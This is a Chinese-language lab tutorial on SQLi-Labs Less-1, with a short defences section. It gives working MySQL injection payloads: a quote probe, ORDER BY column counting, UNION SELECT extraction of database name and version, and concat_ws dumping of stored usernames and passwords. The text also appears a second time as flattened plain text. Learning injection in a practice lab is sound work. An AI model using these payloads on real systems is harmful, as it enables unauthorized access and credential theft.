SQLILABS-详解less-1
字数 1172 2025-08-18 11:35:59

SQL注入实战教学:SQLILABS Less-1 详解

一、靶场环境搭建

1.1 环境要求

  • MySQL版本:推荐使用5.x版本(新版本可能导致兼容性问题)
  • PHP环境:推荐PHP 5.7版本(配合phpMyAdmin工具使用)
  • 搭建工具选择
    • Docker
    • XAMPP
    • 小皮面板等集成环境

1.2 常见问题解决

  • 数据库连接问题:默认root密码为空,若出现问题需修改为自设密码
  • 靶场重置:可通过界面"重置靶场"选项恢复初始状态
  • 公网访问:可通过服务器映射将靶场发布到互联网

二、Less-1 基础分析

2.1 初始SQL查询

访问Less-1并传递ID参数时,后端执行的SQL语句为:

SELECT * FROM users WHERE id='1' LIMIT 0,1

2.2 SQL语句解析

  • SELECT *:选择所有列
  • FROM users:从users表中查询
  • WHERE id = '1':筛选ID列值为1的记录
  • LIMIT 0,1:从第0行开始,返回1条记录

三、注入技术详解

3.1 注入点探测

  • 单引号测试:在ID参数后添加单引号',观察是否报错
    • 示例:id=1'
    • 预期:若存在SQL注入漏洞,可能返回数据库错误信息

3.2 确定列数

使用ORDER BY子句确定查询返回的列数:

1' ORDER BY 3--+
  • 逐步增加数字测试(如1,2,3,...)
  • 当数字超过实际列数时会报错
  • 本例中已确认返回3列

3.3 联合查询注入

使用UNION SELECT进行联合查询注入:

-1' UNION SELECT 1,2,3--+
  • 关键技巧
    • 使用负值或不存在的ID值(如-1)使前查询不返回结果
    • 这样联合查询的结果会直接显示

3.4 数据提取技术

3.4.1 确定显示位

通过联合查询确定页面中显示的是哪些列:

-1' UNION SELECT 1,2,3--+

观察页面显示的数字(如2和3),这些就是可以显示数据的"显示位"

3.4.2 提取数据库信息

-1' UNION SELECT 1,database(),version()--+
  • database():获取当前数据库名
  • version():获取数据库版本

3.4.3 提取表数据

使用concat_ws函数将用户名和密码连接显示:

-1' UNION SELECT 1,concat_ws(':',username,password),3 FROM users--+
  • concat_ws(':',A,B):用冒号分隔连接字段A和B
  • 从users表中提取用户名和密码

3.5 注释技巧

  • --+:MySQL中的注释符号,用于注释掉原始查询的剩余部分
  • 也可使用#作为注释符

四、防御措施(供学习参考)

4.1 安全编码实践

  • 使用参数化查询(预处理语句)
  • 实施输入验证和过滤
  • 采用最小权限原则

4.2 错误处理

  • 避免显示详细数据库错误信息
  • 使用自定义错误页面

五、总结

Less-1展示了基于错误的字符型SQL注入的基本流程:

  1. 单引号探测注入点
  2. ORDER BY确定列数
  3. UNION SELECT联合查询
  4. 利用显示位提取数据
  5. 使用concat_ws等函数格式化输出

通过此练习,可以掌握最基本的SQL注入技术原理和利用方法,为后续更复杂的注入技术学习打下基础。

SQL注入实战教学:SQLILABS Less-1 详解 一、靶场环境搭建 1.1 环境要求 MySQL版本 :推荐使用5.x版本(新版本可能导致兼容性问题) PHP环境 :推荐PHP 5.7版本(配合phpMyAdmin工具使用) 搭建工具选择 : Docker XAMPP 小皮面板等集成环境 1.2 常见问题解决 数据库连接问题 :默认root密码为空,若出现问题需修改为自设密码 靶场重置 :可通过界面"重置靶场"选项恢复初始状态 公网访问 :可通过服务器映射将靶场发布到互联网 二、Less-1 基础分析 2.1 初始SQL查询 访问Less-1并传递ID参数时,后端执行的SQL语句为: 2.2 SQL语句解析 SELECT * :选择所有列 FROM users :从users表中查询 WHERE id = '1' :筛选ID列值为1的记录 LIMIT 0,1 :从第0行开始,返回1条记录 三、注入技术详解 3.1 注入点探测 单引号测试 :在ID参数后添加单引号 ' ,观察是否报错 示例: id=1' 预期:若存在SQL注入漏洞,可能返回数据库错误信息 3.2 确定列数 使用 ORDER BY 子句确定查询返回的列数: 逐步增加数字测试(如1,2,3,...) 当数字超过实际列数时会报错 本例中已确认返回3列 3.3 联合查询注入 使用 UNION SELECT 进行联合查询注入: 关键技巧 : 使用负值或不存在的ID值(如-1)使前查询不返回结果 这样联合查询的结果会直接显示 3.4 数据提取技术 3.4.1 确定显示位 通过联合查询确定页面中显示的是哪些列: 观察页面显示的数字(如2和3),这些就是可以显示数据的"显示位" 3.4.2 提取数据库信息 database() :获取当前数据库名 version() :获取数据库版本 3.4.3 提取表数据 使用 concat_ws 函数将用户名和密码连接显示: concat_ws(':',A,B) :用冒号分隔连接字段A和B 从users表中提取用户名和密码 3.5 注释技巧 --+ :MySQL中的注释符号,用于注释掉原始查询的剩余部分 也可使用 # 作为注释符 四、防御措施(供学习参考) 4.1 安全编码实践 使用参数化查询(预处理语句) 实施输入验证和过滤 采用最小权限原则 4.2 错误处理 避免显示详细数据库错误信息 使用自定义错误页面 五、总结 Less-1展示了基于错误的字符型SQL注入的基本流程: 单引号探测注入点 ORDER BY确定列数 UNION SELECT联合查询 利用显示位提取数据 使用concat_ ws等函数格式化输出 通过此练习,可以掌握最基本的SQL注入技术原理和利用方法,为后续更复杂的注入技术学习打下基础。